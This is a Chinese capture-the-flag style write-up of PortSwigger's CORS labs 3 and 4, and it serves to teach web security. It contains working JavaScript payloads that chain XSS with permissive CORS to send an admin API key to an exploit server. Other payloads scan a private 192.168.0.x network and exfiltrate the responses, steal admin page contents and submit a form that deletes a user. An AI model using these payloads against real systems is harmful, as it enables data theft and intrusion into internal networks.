【BP靶场portswigger-客户端13】跨来源资源共享(CORS)4个实验(全)(下)

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: 【BP靶场portswigger-客户端13】跨来源资源共享(CORS)-4个实验(全)(下)

4、通过 CORS信任关系利用XSS


1、即使"正确"配置的CORS也会在两个源之间建立信任关系。如果网站信任易受跨站点脚本攻击的源( XSS语言),则攻击者可以利用XSS注入一些JavaScript,该JavaScript使用CORS从信任易受攻击应用程序的站点检索敏感信息。


如以下请求:
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...
如果服务器响应为:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
然后,在www.example.com上发现XSS漏洞的攻击者subdomain.vulnerable-website.com可以使用如下URL检索API密钥:
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>


5、使用配置不当的CORS中断TLS


1、假设严格使用HTTPS的应用程序也将使用纯HTTP的受信任子域列入白名单。


例如,当应用程序接收到以下请求时:
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...
应用程序响应如下:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true


在这种情况下,能够拦截受害用户通信量的攻击者可以利用CORS配置危害受害用户与应用程序的交互。


此攻击涉及以下步骤:
1、受害者用户发出任何普通HTTP请求。
2、攻击者注入重定向到:
    http://trusted-subdomain.vulnerable-website.com
    受害者的浏览器会跟随重定向。
3、攻击者拦截普通HTTP请求,并将包含CORS请求的欺骗响应返回到:
    https://vulnerable-website.com
4、受害者的浏览器发出CORS请求,包括来源:
    http://trusted-subdomain.vulnerable-website.com
    应用程序允许该请求,因为这是 白名单 起源。请求的敏感数据在响应中返回。
    攻击者的欺骗页面可以读取敏感数据,并将其传输到攻击者控制下的任何域。


即使易受攻击的网站在使用HTTPS方面非常健壮,没有HTTP端点并且所有Cookie都标记为安全,此攻击也会有效。


2、涉及实验:


实验3:受信任的不安全协议的CORS漏洞


实验3:受信任的不安全协议的CORS漏洞


1、此网站具有不安全的CORS配置,因为它信任所有子域,而不管协议如何。


2、解决实验:编制JavaScript,使用CORS检索管理员的API密钥并将代码上载到漏洞利用服务器。并提交api key


3、已有账号:wiener:peter


part1:


登陆账号,查看历史记录并观察到密钥是通过AJAX请求/accountDetails检索的,并且响应包含Access-Control-Allow-Credentials标头,表明它可能支持CORS。


4c92136d9bf44dd983e7f5a700b3dcd3.png


将请求发送到Burp Repeater,并使用添加的标题Origin重新提交:


Origin:http://subdomain.lab-id
(lab-id 是实验室域名)
我的是:
Origin:http://subdomain.0a4700a903395d98c0e42285006b0014.web-security-academy.net


观察来源是否反映在Access-Control-Allow-Origin标头中,确认CORS配置是否允许从任意子域(HTTPS和HTTP)进行访问


part2:


组合利用

打开一个产品页面,单击Check stock并观察它是使用一个子域上的HTTP URL加载的

9241a7839cde46b397738cf22ebe6069.png


注意到productID参数易受XSS攻击


e827db6a641348ab9a448df6d0cfe9aa.png

在浏览器中,转到漏洞利用服务器并输入以下HTML,将YOUR-LAB-ID替换为您的唯一实验室URL,将YOUR-EXPLOIT-SERVER-ID替换为您的漏洞利用服务器ID:


<script>
    document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
我的是:
<script>
    document.location="http://stock.0a4700a903395d98c0e42285006b0014.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a4700a903395d98c0e42285006b0014.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0aef008603225dd5c0fe210801970018.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>


单击查看漏洞利用。观察漏洞利用是否有效(view),已登录到日志页面,API密钥位于URL中

返回到利用漏洞攻击服务器,然后单击Deliver exploit to victium(将利用漏洞攻击发送给受害者)


d1a48797138d4ac085b1319b2680be07.png

单击“Access log(访问日志)”


fedbd31687ec4c8ab8b6731bec71dbfa.png

检索api key


apikey%22:%20%22LPfbAvOVfaP3D2Wx04Zp18UOWFRuilcz%22

751af6d976914b4b81d9e47425a7a406.png

进行解码


apikey": "LPfbAvOVfaP3D2Wx04Zp18UOWFRuilcz"


提交,完成实验


LPfbAvOVfaP3D2Wx04Zp18UOWFRuilcz

9b4b11a2976d42bf929bad189e78dccd.png499faf67910b48558615b120506aa3dd.png

6、没有凭据的内部网和CORS


1、大多数CORS攻击依赖于响应报头的存在:


Access-Control-Allow-Credentials: true


如果没有该标头,受害用户的浏览器将拒绝发送他们的cookie,这意味着攻击者只能访问未经身份验证的内容,他们可以通过直接浏览目标网站轻松访问这些内容。


2、但有一种常见的情况是攻击者无法直接访问网站:当它是组织内部网的一部分,并且位于私有IP地址空间中时。内部网站的安全标准通常低于外部网站,这使得攻击者能够找到漏洞并获得进一步的访问权限。


例如,专用网络内的跨来源请求可以如下:
GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com
并且服务器响应如下:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *


3、应用程序服务器信任来自任何来源的资源请求,而无需凭据。如果私有IP地址空间内的用户访问公共Internet,则可以从外部站点执行基于CORS的攻击,该外部站点使用受害者的浏览器作为访问内部网资源的代理。


4、涉及实验:


实验4:CORS漏洞与内部网络枢轴攻击


实验4:CORS漏洞与内部网络枢轴攻击


1、此网站具有不安全的CORS配置,因为它信任所有内部网络来源。


2、完成实验:编制JavaScript来定位本地网络(192.168.0.0/24,端口8080)上的端点,然后使用该端点来识别和创建基于CORS的攻击以删除用户。删除用户carlos


part1:


需要扫描本地网络以查找端点。将$collaboratorPayload替换为Collaborator有效负载或漏洞利用服务器URL


我的漏洞利用服务器
http://exploit-0a000082039e8219c2f833a701b700cb.exploit-server.net/


<script>
var q = [], collaboratorURL = 'http://$collaboratorPayload';
for(i=1;i<=255;i++) {
  q.push(function(url) {
    return function(wait) {
      fetchUrl(url, wait);
    }
  }('http://192.168.0.'+i+':8080'));
}
for(i=1;i<=20;i++){
  if(q.length)q.shift()(i*100);
}
function fetchUrl(url, wait) {
  var controller = new AbortController(), signal = controller.signal;
  fetch(url, {signal}).then(r => r.text().then(text => {
    location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now();
  }))
  .catch(e => {
    if(q.length) {
      q.shift()(wait);
    }
  });
  setTimeout(x => {
    controller.abort();
    if(q.length) {
      q.shift()(wait);
    }
  }, wait);
}
</script>


在漏洞利用服务器中输入以下代码。单击存储,然后单击“将漏洞利用发送给受害者”。

3286dc83b8c848c4a2019c64ac620f0b.png



检查日志或Collaborator交互组件,并查看发送给它的代码参数


9fcc93019e1746ff87d0b630eafcfb00.png

192.168.0.175:8080


part2:


重新在利用漏洞攻击服务器中输入以下代码。将$ip替换为从协作者交互中检索到的IP地址和端口号。不要忘记添加Collaborator有效负载或再次利用服务器URL。更新并提供漏洞利用。


<script>
function xss(url, text, vector) {
  location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url, collaboratorURL){
  fetch(url).then(r => r.text().then(text => {
  xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');
  }))
}
fetchUrl("http://$ip", "http://$collaboratorPayload");
</script>


现在我们将探测用户名字段中的XSS漏洞。


ec6ce877c8a94411b4b79ab3bb084c40.png


检索URL中具有foundXSS=1的Collaborator交互;或者在日志中看到foundXSS=1

c2a90b20426e47ebbe2b2605dc5065c8.png


part3:


重新在利用漏洞攻击服务器中输入以下代码。将$ip替换为与步骤2中相同的IP地址和端口号,再次添加Collaborator有效负载或漏洞利用服务器。更新并提供漏洞利用


<script>
function xss(url, text, vector) {
  location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url, collaboratorURL){
  fetch(url).then(r=>r.text().then(text=>
  {
  xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
  }
  ))
}
fetchUrl("http://$ip", "http://$collaboratorPayload");
</script>

942e627385ce44649e4d3cf6d7a34145.png


Collaborator交互或利用服务器日志会提供管理页面的源代码


57996c68eb7947259df86290b69afcf5.png


part4:


检索源代码,会注意到有一个允许删除用户的表单。重新在利用漏洞攻击服务器中输入以下代码。将$ip替换为相同的IP地址和端口号。


<script>
function xss(url, text, vector) {
  location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url){
  fetch(url).then(r=>r.text().then(text=>
  {
  xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');
  }
  ))
}
fetchUrl("http://$ip");
</script>

b08994b3ca8742ac9cb602152641e58b.png



代码通过注入一个指向/admin页面的iframe提交表单以删除carlos


2fdf9465407349fc83d977e5a6620b58.png


7d62be979184459ab44139ed85f387fe.png

相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
目录
相关文章
|
9天前
|
开发框架 中间件 Java
如何处理跨域资源共享(CORS)的 OPTIONS 请求?
处理 CORS 的 OPTIONS 请求的关键是正确设置响应头,以告知浏览器是否允许跨域请求以及允许的具体条件。根据所使用的服务器端技术和框架,可以选择相应的方法来实现对 OPTIONS 请求的处理,从而确保跨域资源共享的正常进行。
|
9天前
|
JavaScript 前端开发 API
跨域资源共享(CORS)的工作原理是什么?
跨域资源共享(CORS)通过浏览器和服务器之间的这种交互机制,在保证安全性的前提下,实现了跨域资源的访问,使得不同源的网页能够合法地获取和共享服务器端的资源,为现代Web应用的开发提供了更大的灵活性和扩展性。
|
1月前
|
安全 前端开发 网络协议
[Http] 跨源资源共享(CORS)
[Http] 跨源资源共享(CORS)
|
2月前
|
安全
CORS 跨域资源共享的实现原理
CORS 跨域资源共享的实现原理
|
4月前
|
安全
CORS 跨域资源共享的实现原理
CORS 跨域资源共享的实现原理
|
3月前
|
安全 开发者 UED
|
3月前
|
JSON 小程序 API
【Azure API 管理】APIM CORS策略设置后,跨域请求成功和失败的Header对比实验
【Azure API 管理】APIM CORS策略设置后,跨域请求成功和失败的Header对比实验
|
4月前
|
前端开发 JavaScript Java
使用Spring Boot实现跨域资源共享(CORS)
使用Spring Boot实现跨域资源共享(CORS)
|
2月前
|
JSON 安全 前端开发
浅析CORS跨域漏洞与JSONP劫持
浅析CORS跨域漏洞与JSONP劫持
82 3
|
23天前
|
JSON 前端开发 安全
CORS 是什么?它是如何解决跨域问题的?
【10月更文挑战第20天】CORS 是一种通过服务器端配置和浏览器端协商来解决跨域问题的机制。它为跨域资源共享提供了一种规范和有效的方法,使得前端开发人员能够更加方便地进行跨域数据交互。